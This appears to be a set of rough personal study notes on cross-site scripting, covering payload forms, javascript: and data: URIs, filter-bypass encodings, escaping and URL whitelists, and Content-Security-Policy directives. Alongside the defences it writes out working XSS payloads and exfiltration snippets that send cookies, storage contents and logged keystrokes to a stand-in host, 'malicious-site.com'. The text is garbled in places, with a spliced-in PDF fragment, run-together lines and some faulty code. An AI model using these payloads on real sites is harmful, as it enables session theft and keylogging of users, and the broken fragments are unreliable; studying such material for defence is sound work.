Cross site scripting(XSS) allows an attacker to get a victim to run malicious code on their browser while looking like it came from a legitimate source.
There are 2 type of XSS attacks.
<s to <) vs HTML sanitization(Allowing some html elements, but not all)%PDF-1.4
%äüöÃ
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
x=Ë
1E÷ù»v¶é´0è~ àø
R
R<h1>This is NOT a PDF!</h1> <img src=x onerror=alert(document.cookie)>
? in front?
<a href="?myinput&page=2"><a href="?javascript:alert();//&page=2">, but that didn’t work? that’s in front"s because it was being URL encodedDangling markup injections?
The URL
https://insecure-website.com/?parameter=<script>print()</script>
Possible html output
<p><script>print()</script></p>
#s in the URL) can be used by the client to change the DOM.<script>print()</script><img src onerror=print()><a href="javascript:print()">Common payload content
print()alert()confirm()prompt()console.log()print`` instead of print()<p>userInput</p>In order to perform an attack on this sink you can:
<p><script>print()</script></p>In order to prevent this any <s should be filtered out
userInput = userInput.replaceAll("<", "<")<<a src="userInput">Link</a><input value="userInput">In order to perform an attack on this sink you can:
<a src="javascript:print()">Link</a><a src="" onclick=print()>Link</a><a src="" ></a><script>print()</script><a>Link</a><script src="data:text/plain,alert()"></script>
This does an alert
In order to prevent this any <s and "s should be filtered out and there should be a whitelist of URIs.
userInput = userInput.replaceAll("<", "<").replaceAll('"', """)
function isSafeUrl(url) {
const allowedSchemes = ['http:', 'https:', 'mailto:'];
const urlObj = new URL(url);
return allowedSchemes.includes(urlObj.protocol);
}
const userInputUrl = "javascript:alert('xss')";
if (isSafeUrl(userInputUrl)) {
console.log('URL is safe');
} else {
console.log('URL is not safe');
}
src, href, action, data, formaction, poster, manifest, ping, cite, usemap<button onclick="javascript:print()"><input value="userInput">javascript:print()data:[<mediatype>][;base64],<data>
data:image/svg+xml;utf8,<svg content>data:text/html;base64,PHNjcmlwdD5wcmludCgpPC9zY3JpcHQ+data:text/html,<script>print()</script>vbscript:MsgBox('XSS') or vbscript:msgbox('XSS')livescript:[code]In order to prevent URI attacks there should be a whitelist of acceptable URIs and not a blacklist.
jAvAsCrIpT:, javas%09cript:, javas]]<![CDATA[cript:, javascript:javascript:
%09, %00, %20, %10, or \0?javascript: does not workhttp, https, ftp, ftps, mailto, news, irc, gopher, nntp, feed, telnet, mms, rtsp, svn, tel, fax, xmpp let uriWhitelist = ["http://", "https://"]
let validUserInput = false
for(const uri of uriWhitelist){
if(userInput.startsWith(uri)){
validUserInput = true
break
}
}
<a src="?javascript:print()">Link</a> does not work
Javascript evaluates functions that are inside other function and there is no limit to the amount of arguments.
startTimer('userInput') you can do user input of ', alert(), ' resulting in startTimer('', alert(), '') and the alert will be rand first.How do you find these? - Searching in the js code takes a while - Does Burp’s DOM Injection find all of them?
const params = new URLSearchParams(window.location.search)
const param1 = params.get('param1')
const param2 = params.get('param2')
#)
document.URL, document.documentURI, document.baseURIwindow.location, document.location, locationlocation.hash to get fragment identifiers(#).parseParams()$("element").html("innerHtml")Avoid using element.innerHTML = userInput; and instead use element.innerText = userInput;
- This doesn’t work if the element is a script?
- Not very common
- Have to escape the "s
- Inject another key and value
- Can you also execute javascript of html?
dangerouslySetInnerHTML<input value="userInput"> to prevent URI attacks(Still need to search and replace).Content-Security-Policy: or Content-Security-Policy-Report-Only:Example:
Content-Security-Policy: script-src 'self' https://www.example.com; report-uri 'https://www.example.com';
[ Header ][ Name ][Source][ Source 2 ][ Name ][ Source ]
[ Directive ][ Directive ]
[ Value ]
Resources/Fetch directives
| Directive Name | Description |
|—————–|—————————————————————————–|
| default-src | Sets the default policy for undefined names |
| script-src | Specifies valid sources for script elements. Javascript |
| style-src | Specifies valid hrefs for link elements. CSS |
| img-src | Specifies valid srcs for img elements. |
| connect-src | |
| font-src | Specifies valid sources for fonts |
| object-src | Specifies valid sources for object, embed, and applet elements |
| media-src | Specifies valid sources for audio, and video elements |
| frame-src | Specifies valid sources for iframe elements |
| child-src | |
| worker-src | Specifies valid sources for Worker, SharedWorker, and ServiceWorker scripts |
| manifest-src | Valid sources for web manifests |
| frame-ancestors | |
| form-action | Specifies valid actions for form submissions |
| base-uri | Specifies sources for base elements |
Document Directives | plugin-types | Specifies the plugins for the application | | sandbox | |
Reporting Directives | report-uri | | | report-to | |
Other Directives | block-all-mixed-content | Blocks http when the page is https | | upgrade-insecure-requests | | | require-sri-for | |
Does block-all-mixed-content block https when the page is http?
What are directives?
;s
What are names?
| Source | Description |
| ‘self’ | The source of the same origin as the document itself |
| ‘none’ | Disallows any sources |
| ‘unsafe-inline’ | Allows inline resources such as javascript or the style attribute |
| ‘unsafe-eval’ | |
| ‘strict-dynamic’ | |
| ‘wasm-unsafe-eval’ |
Can distinguish between legitimate inputs and injected JS code
<script src=""> or <link href="">nonce attribute
// On the server
let jsCode = `
console.log("Testing nonce")
`
<script
nonce={hash(jsCode, password)}
dangerouslySetInnerHTML=
></script>
alert()<script>javascript:()s
See XXS Tests
window.location='https://malicious-site.com?info=' + info<a href="https://www.youtube.com/" onmouseover="window.location='https://malicious-site.com?info=' + info">Youtube</a>
fetch because it’s blocked by CORSdocument.addEventListener('keydown', (event) => {
const script = document.createElement('script');
script.src = 'http://malicious-site.com/?key=' + encodeURIComponent(event.key);
document.body.appendChild(script);
});
escape(document.cookie)
escape URL encodes the cookie so it can be sent through the URLescape(JSON.stringify(localStorage)) or escape(JSON.stringify(sessionStorage))<script>window.onload=function(){
document.getElementByName('comment')[0].innerHTML='Comment';document.getElementById('theform').submit();document.getElementById('theform').action='https://malicious-site.com'}</script>"\u0022\x22| Symbol | HTML name | HTML code | URL |
|---|---|---|---|
% |
% |
%25 |
|
" |
" |
" |
%22 |
& |
& |
& |
%26 |
' |
' |
' |
%27 |
< |
< |
< |
%3C |
> |
> |
> |
%3E |
\ |
\ |
%5C |
|
# |
# |
%23 |
|
? |
? |
%3F |